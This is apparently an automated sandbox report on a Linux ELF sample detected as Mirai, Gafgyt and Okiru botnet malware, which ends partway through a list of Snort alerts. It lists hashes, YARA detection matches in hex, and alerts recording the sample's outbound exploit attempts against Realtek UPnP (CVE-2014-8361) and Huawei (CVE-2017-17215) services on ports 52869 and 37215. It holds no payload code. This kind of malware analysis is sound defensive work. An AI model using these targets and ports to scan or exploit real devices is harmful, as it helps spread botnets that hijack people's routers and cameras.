Edit tour

Linux Analysis Report
faBNhIKHq4.elf

Overview

General Information

Sample name:	faBNhIKHq4.elf renamed because original name is a hash value
Original sample name:	62d53c7ec4c2752331182c31d8176b47.elf
Analysis ID:	1477275
MD5:	62d53c7ec4c2752331182c31d8176b47
SHA1:	312d29a7d5949df5fa005a40e7bca89c59cb0f2c
SHA256:	f36cf9f570a3d59a4bc0942b1e6cfde4faf83586ca5b9ba20c0b1f0d91c4868d
Tags:	32armelfgafgyt
Infos:

Detection

Mirai, Gafgyt, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477275
Start date and time:	2024-07-20 23:00:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	faBNhIKHq4.elf renamed because original name is a hash value
Original Sample Name:	62d53c7ec4c2752331182c31d8176b47.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/4@1/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/faBNhIKHq4.elf
PID:	6220
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

faBNhIKHq4.elf (PID: 6220, Parent: 6136, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/faBNhIKHq4.elf

faBNhIKHq4.elf New Fork (PID: 6223, Parent: 6220)

faBNhIKHq4.elf New Fork (PID: 6225, Parent: 6223)

faBNhIKHq4.elf New Fork (PID: 6227, Parent: 6223)

faBNhIKHq4.elf New Fork (PID: 6228, Parent: 6223)

faBNhIKHq4.elf New Fork (PID: 6231, Parent: 6223)

faBNhIKHq4.elf New Fork (PID: 6233, Parent: 6223)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
faBNhIKHq4.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
faBNhIKHq4.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
faBNhIKHq4.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
faBNhIKHq4.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
faBNhIKHq4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
faBNhIKHq4.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1fdb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fea0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1feb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fedc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fef0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1fdb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fdec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fe8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fea0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1feb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fedc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fef0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ff40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: faBNhIKHq4.elf PID: 6220	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: faBNhIKHq4.elf PID: 6220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: faBNhIKHq4.elf PID: 6220	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: faBNhIKHq4.elf PID: 6220	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: faBNhIKHq4.elf PID: 6220	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1278a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1279e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12802:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12816:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1282a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1283e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12852:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12866:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1287a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1288e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12906:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1291a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.152.123.98

Timestamp:	07/20/24-23:01:41.463722
SID:	2027339
Source Port:	46604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.89.104.148

Timestamp:	07/20/24-23:01:46.955966
SID:	2027339
Source Port:	55862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	07/20/24-23:01:03.930422
SID:	2027339
Source Port:	55040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.76.87.111

Timestamp:	07/20/24-23:01:32.076593
SID:	2835222
Source Port:	45364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.27.252.180

Timestamp:	07/20/24-23:01:13.282996
SID:	2025132
Source Port:	57500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.68.229.244

Timestamp:	07/20/24-23:01:45.122550
SID:	2831300
Source Port:	47904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.89.154

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	53600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.12.48

Timestamp:	07/20/24-23:01:20.132511
SID:	2829579
Source Port:	40818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.194.116.48

Timestamp:	07/20/24-23:01:08.659435
SID:	2027339
Source Port:	52838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	07/20/24-23:01:02.422228
SID:	2027339
Source Port:	57522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.22.43.107

Timestamp:	07/20/24-23:01:41.318733
SID:	2025132
Source Port:	55298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.135.139.61

Timestamp:	07/20/24-23:01:48.965786
SID:	2831300
Source Port:	58068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.28.111.138

Timestamp:	07/20/24-23:01:42.944606
SID:	2025132
Source Port:	38246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.161.142.144

Timestamp:	07/20/24-23:01:02.724151
SID:	2027339
Source Port:	41746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 204.16.50.125

Timestamp:	07/20/24-23:01:45.432263
SID:	2831300
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.83.21.166

Timestamp:	07/20/24-23:01:47.808678
SID:	2027339
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.154.57.89

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	51388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.250.27.9

Timestamp:	07/20/24-23:01:42.549328
SID:	2027339
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.178.59.59

Timestamp:	07/20/24-23:01:24.724267
SID:	2027339
Source Port:	42848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.230.66.89

Timestamp:	07/20/24-23:01:42.928503
SID:	2027339
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.154.207.41

Timestamp:	07/20/24-23:02:02.601575
SID:	2027339
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.229.94.109

Timestamp:	07/20/24-23:00:57.222523
SID:	2829579
Source Port:	49446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.48.69.29

Timestamp:	07/20/24-23:01:49.555689
SID:	2027339
Source Port:	35016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.54.147.121

Timestamp:	07/20/24-23:01:04.114673
SID:	2829579
Source Port:	35562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.62.106

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	50482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.202.161.192

Timestamp:	07/20/24-23:01:20.126052
SID:	2835222
Source Port:	38742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.74.166.37

Timestamp:	07/20/24-23:01:42.914230
SID:	2025132
Source Port:	52386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.21.55.96

Timestamp:	07/20/24-23:01:46.439689
SID:	2831300
Source Port:	35164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.198.102

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	56940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.56.72.194

Timestamp:	07/20/24-23:01:05.126622
SID:	2025132
Source Port:	42544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.208.92.27

Timestamp:	07/20/24-23:01:08.559170
SID:	2831300
Source Port:	45648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.229.3

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	58944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.245.141.79

Timestamp:	07/20/24-23:01:52.720668
SID:	2027339
Source Port:	45442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.112.45.111

Timestamp:	07/20/24-23:02:11.380126
SID:	2025132
Source Port:	47888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.204.82.212

Timestamp:	07/20/24-23:01:41.912337
SID:	2027339
Source Port:	42548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.93.26

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	55948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 181.111.14.150

Timestamp:	07/20/24-23:01:31.317668
SID:	2831300
Source Port:	35010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.16.142.227

Timestamp:	07/20/24-23:01:44.611556
SID:	2025132
Source Port:	47134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.201.149.50

Timestamp:	07/20/24-23:01:44.405053
SID:	2027339
Source Port:	33808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.253.103.224

Timestamp:	07/20/24-23:01:02.119631
SID:	2835222
Source Port:	47984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.79.192.172

Timestamp:	07/20/24-23:01:42.751824
SID:	2025132
Source Port:	37240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.89.50.234

Timestamp:	07/20/24-23:01:52.343511
SID:	2027339
Source Port:	52950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.222.148.23

Timestamp:	07/20/24-23:02:09.668312
SID:	2027339
Source Port:	45842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.50.131.136

Timestamp:	07/20/24-23:01:44.338159
SID:	2831300
Source Port:	55568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.68.76.128

